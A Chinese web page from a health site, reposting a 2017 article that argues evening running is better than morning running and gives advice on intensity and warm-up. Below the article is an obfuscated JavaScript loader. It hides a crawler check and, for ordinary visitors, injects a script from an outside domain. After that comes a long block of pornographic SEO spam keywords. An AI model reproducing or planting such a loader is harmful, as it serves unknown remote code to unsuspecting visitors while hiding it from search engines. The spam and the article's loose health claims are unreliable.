當前位置:首頁 > 健康 > 運動健身 > 正文

早上跑步好還是晚上好呢

2017-04-16 10:02:07  來源:360常識網   熱度:
導語:現在空氣污染是比較嚴重的。有的人擔心自己在早上去跑步的話,會對自己產生比較壞的影響。他們就想著要晚上去。但是又擔心晚上跑步對于身體

現在空氣污染是比較嚴重的。有的人擔心自己在早上去跑步的話,會對自己產生比較壞的影響。他們就想著要晚上去。但是又擔心晚上跑步對于身體的傷害更大。因此他們就在跑步時間選擇上猶豫不決了。那么到底早上跑步好還是晚上好?下面我們就來看看小編的說法吧。

從運動醫學的角度看,晚上跑步更科學。只要掌握好運動強度,晚上跑步還會讓人睡得更香。

一、輕微疲勞正好休息

運動醫學已經證明,早晨剛起來時,人體各臟器的運轉仍處于較低水平,這時候鍛煉,對于心血管功能比較脆弱的人來說是較危險的。而人體的活動能力在晚上被充分開發出來,這時候跑步,身體更容易適應運動節奏。

從外部環境來說,最新的研究表明,清晨空氣中二氧化碳指數最高,而且前一天懸浮在空中的塵埃也并未完全消失,這時候運動,遠不如晚上的環境好。另外,晚上適度運動產生的輕微疲勞感需要香甜的睡眠來解除,這就使得運動后的睡眠質量大大提升,所以,擔心運動影響睡眠是沒有道理的。

二、晚上鍛煉從散步開始

根據美國運動醫學會的建議,晚上跑步健身,最好堅持一周3次以上,每次30—60分鐘。運動強度應掌握在“跑步5分鐘后脈搏跳動不超過120次/分,10分鐘后不超過100次/分”的范圍內。如果心率過速,必須減少運動量;如果一邊鍛煉還能一邊與旁人交談的話,則說明鍛煉強度尚可。沒有鍛煉習慣的人可以從每天散步20分鐘開始做起,第二周走25分鐘;第三周增加到30分鐘;第四周加些慢跑;第五周時散步、慢跑并重;最終慢慢跑起來。

所有的運動都需要做準備活動,晚上跑步也不例外。矯瑋介紹說,跑前輕壓腿,做做下蹲,可以讓心臟和肌肉更快進入運動狀態。如果一開始走幾步,然后快走、小跑,最后正式開始跑,也能有效熱身。 跑步時,步幅略大,挺胸、收腹,目視前方,上半身略向前傾,雙臂自然在身體兩側擺動,注意力集中,呼吸自然均勻。跑步時盡量選擇人流車流少、通風、空氣好的公園小徑、學校操場等地方,而且最好是泥地、草地等有彈性的地面。

了解了以上這些內容后,我們就清楚的認識到了早上跑步好還是晚上好這一問題了。我們要是想擁有一個比較好的體型的話,跑步是一種可以達到這一效果的不錯的運動的。當然要想長時間保持的話,我們就要堅持進行運動才行。最后也希望大家都能健康的生活下去!

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产午夜精品久久久久九九电影 | 久久精品这里只有精99品| 香蕉99久久国产综合精品宅男自 | 亚洲午夜国产精品| 亚洲宅男精品一区在线观看| 精品不卡一区二区| 亚洲精品无码永久在线观看男男| 日韩精品无码区免费专区| 麻豆精品国产免费观看 | 国产剧情国产精品一区| 国产成人精品优优av| 99热这里只/这里有精品| 99久久99久久精品免费看蜜桃| 香蕉久久精品日日躁夜夜躁| 国产精品林美惠子在线播放 | 国产精品久久久久乳精品爆| 国产麻豆精品在线观看 | 日韩精品中文字幕在线观看 | 久久精品亚洲精品国产色婷| 国产成人精品天堂| 最新国产精品自在线观看| 国产福利精品在线观看| 国产精品无码一区二区三区电影| 99久久99久久免费精品小说| 久久久久久久91精品免费观看| 国产精品无码aⅴ嫩草| 9久9久热精品视频在线观看| 久久精品国产99精品最新| 97久久国产亚洲精品超碰热| 国产精品一区二区久久乐下载| 韩国三级中文字幕hd久久精品 | 亚洲av永久无码精品表情包| 在线观看91精品国产入口| 99精品人妻无码专区在线视频区| 精品国产精品国产| 国产a久久精品一区二区三区| 国产亚洲精品资源在线26u| 国产精品电影在线观看| 人妻无码精品久久亚瑟影视| 热99re久久国超精品首页| 久久久亚洲精品无码|